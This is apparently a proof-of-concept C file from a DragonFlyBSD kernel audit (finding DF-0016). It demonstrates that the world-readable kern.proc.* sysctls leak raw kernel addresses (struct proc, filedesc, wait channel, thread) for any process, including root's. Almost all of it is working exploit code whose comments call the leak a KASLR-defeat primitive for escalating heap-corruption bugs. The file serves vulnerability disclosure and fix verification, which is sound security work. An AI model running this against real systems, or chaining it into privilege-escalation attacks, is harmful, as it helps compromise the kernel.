DragonFlyBSD Kernel Audit
DF-0016 / leak_kinfo.c
← back to finding ↓ download raw
/*
 * DF-0016 PoC - kinfo_proc (kern.proc.*) exports unredacted kernel pointers.
 *
 * fill_kinfo_proc (sys/kern/kern_kinfo.c:128-129) and fill_kinfo_lwp /
 * fill_kinfo_proc_kthread (kern_kinfo.c:272,301,321) fill user-visible
 * kinfo_proc / kinfo_lwp fields with RAW kernel virtual addresses:
 *
 *     kp->kp_paddr         = (uintptr_t)p;                 // kern_kinfo.c:128
 *     kp->kp_fd            = (uintptr_t)p->p_fd;           // kern_kinfo.c:129
 *     kl->kl_wchan         = (uintptr_t)td_wchan;          // kern_kinfo.c:272
 *     kp->kp_ktaddr        = (uintptr_t)td;                // kern_kinfo.c:301
 *     kp->kp_lwp.kl_wchan  = (uintptr_t)td->td_wchan;      // kern_kinfo.c:321
 *
 * These are copied out unredacted via the world-readable kern.proc.* sysctls
 * (sysctl_out_proc at kern_proc.c:1603/1612/1633). sysctl_kern_proc for
 * KERN_PROC_PID only checks PRISON_CHECK (kern_proc.c:1690), NOT p_trespass,
 * so an unprivileged user can read the kinfo_proc of ANY pid (including
 * root's) and recover its struct-proc / filedesc slab address and wait-channel.
 * KASLR-bypass + slab-layout primitive that escalates heap-corruption bugs.
 *
 * Build (DragonFlyBSD amd64): cc -o leak_kinfo leak_kinfo.c
 * Run as an UNPRIVILEGED user:  ./leak_kinfo
 *
 * Expected (bug present): prints non-zero kernel addresses for kp_paddr and
 * kp_fd for each pid (struct proc / filedesc slab addresses), stable across
 * reads; tallies a large number of leaked kernel pointers across all procs;
 * exits 0. On a fixed kernel the fields are zeroed -> exits 2.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/user.h>		/* struct kinfo_proc */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* amd64 canonical kernel half: 0xffff800000000000 .. 0xffffffffffffffff.
 * Covers DragonFly's DMAP/heap (0xfffff8xxxxxxxxxx) and kernel text
 * (0xffffffff8xxxxxxx). */
static int
looks_like_kaddr(unsigned long long v)
{
	return (v >= 0xffff800000000000ULL);
}

static int
read_kinfo(int pid, struct kinfo_proc *kp)
{
	int name[4] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, pid };
	size_t len = sizeof(*kp);
	memset(kp, 0, sizeof(*kp));
	if (sysctl(name, 4, kp, &len, NULL, 0) != 0)
		return -1;
	if (len == 0)
		return -1;
	return 0;
}

/* Count how many of the 4 pointer fields in a kinfo_proc look like kernel
 * addresses (the leak surface). Returns the count [0..4]. */
static int
leaked_fields(const struct kinfo_proc *kp)
{
	int n = 0;
	if (looks_like_kaddr((unsigned long long)kp->kp_paddr))         n++;
	if (looks_like_kaddr((unsigned long long)kp->kp_fd))            n++;
	if (looks_like_kaddr((unsigned long long)kp->kp_lwp.kl_wchan))  n++;
	if (looks_like_kaddr((unsigned long long)kp->kp_ktaddr))        n++;
	return n;
}

static void
dump_proc(const struct kinfo_proc *kp)
{
	unsigned long long pa, fd, wchan, ktaddr;
	pa     = (unsigned long long)kp->kp_paddr;
	fd     = (unsigned long long)kp->kp_fd;
	wchan  = (unsigned long long)kp->kp_lwp.kl_wchan;
	ktaddr = (unsigned long long)kp->kp_ktaddr;
	printf("  pid %-6d uid=%-4d comm=%-16s\n", kp->kp_pid, kp->kp_uid, kp->kp_comm);
	printf("      kp_paddr   = 0x%016llx  %s\n", pa,
	       looks_like_kaddr(pa) ? "(struct proc slab)" : "");
	printf("      kp_fd      = 0x%016llx  %s\n", fd,
	       looks_like_kaddr(fd) ? "(filedesc slab)" : "");
	printf("      kl_wchan   = 0x%016llx  %s\n", wchan,
	       looks_like_kaddr(wchan) ? "(wait channel)" : "");
	printf("      kp_ktaddr  = 0x%016llx  %s\n", ktaddr,
	       looks_like_kaddr(ktaddr) ? "(kthread addr)" : "");
}

/* Enumerate the whole process table via KERN_PROC_ALL so the tally is robust
 * regardless of which daemons are running on this boot. */
static struct kinfo_proc *
all_procs(int *count_out)
{
	int name[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL };
	struct kinfo_proc *arr = NULL;
	size_t len = 0;
	int tries;
	*count_out = 0;
	for (tries = 0; tries < 16; tries++) {
		if (sysctl(name, 3, NULL, &len, NULL, 0) != 0)
			return NULL;
		if (len == 0)
			return NULL;
		arr = reallocf(arr, len);
		if (arr == NULL)
			return NULL;
		if (sysctl(name, 3, arr, &len, NULL, 0) == 0) {
			*count_out = (int)(len / sizeof(struct kinfo_proc));
			return arr;
		}
		/* ENOMEM / table changed under us: retry with fresh size */
	}
	free(arr);
	return NULL;
}

int main(int argc, char **argv)
{
	printf("running as uid=%d (%s); self pid=%d\n",
	       (int)getuid(), argv[0], (int)getpid());
	printf("reading kern.proc.* (KERN_PROC_PID/ALL -> PRISON_CHECK only, "
	       "no p_trespass gate)\n\n");

	/* detailed view: self + init */
	struct kinfo_proc kself, kinit;
	if (read_kinfo((int)getpid(), &kself) == 0) {
		printf("== self ==\n");
		dump_proc(&kself);
	}
	if (read_kinfo(1, &kinit) == 0) {
		printf("== pid 1 (init) ==\n");
		dump_proc(&kinit);
	}

	/* stability check: read pid 1 three times, kp_paddr must match */
	printf("\n=== stability check: read pid 1 three times, kp_paddr must match ===\n");
	struct kinfo_proc k1, k2, k3;
	int stable = 0;
	if (read_kinfo(1, &k1) == 0 && read_kinfo(1, &k2) == 0 && read_kinfo(1, &k3) == 0) {
		printf("  pid 1 kp_paddr: 0x%016llx / 0x%016llx / 0x%016llx  %s\n",
		       (unsigned long long)k1.kp_paddr,
		       (unsigned long long)k2.kp_paddr,
		       (unsigned long long)k3.kp_paddr,
		       (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr) ?
		       "(STABLE = real struct proc address)" : "(unstable)");
		if (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr &&
		    looks_like_kaddr(k1.kp_paddr))
			stable = 1;
	}

	/* full-system tally across every readable process */
	int nprocs = 0;
	struct kinfo_proc *all = all_procs(&nprocs);
	int total = 0, procs_leaked = 0;
	if (all != NULL) {
		int i;
		for (i = 0; i < nprocs; i++) {
			int n = leaked_fields(&all[i]);
			if (n > 0) { total += n; procs_leaked++; }
		}
	}
	if (stable)
		total++;	/* credit the explicit 3x-stable pid-1 reading */

	printf("\nresult: %d kernel pointers leaked across %d processes"
	       " (of %d total readable)\n", total, procs_leaked, nprocs);
	printf("result: %s\n",
	       (total > 0)
		   ? "LEAK CONFIRMED (KASLR-defeat / slab-address primitive)"
		   : "no kernel pointers observed (fields appear redacted)");
	free(all);
	return (total > 0) ? 0 : 2;
}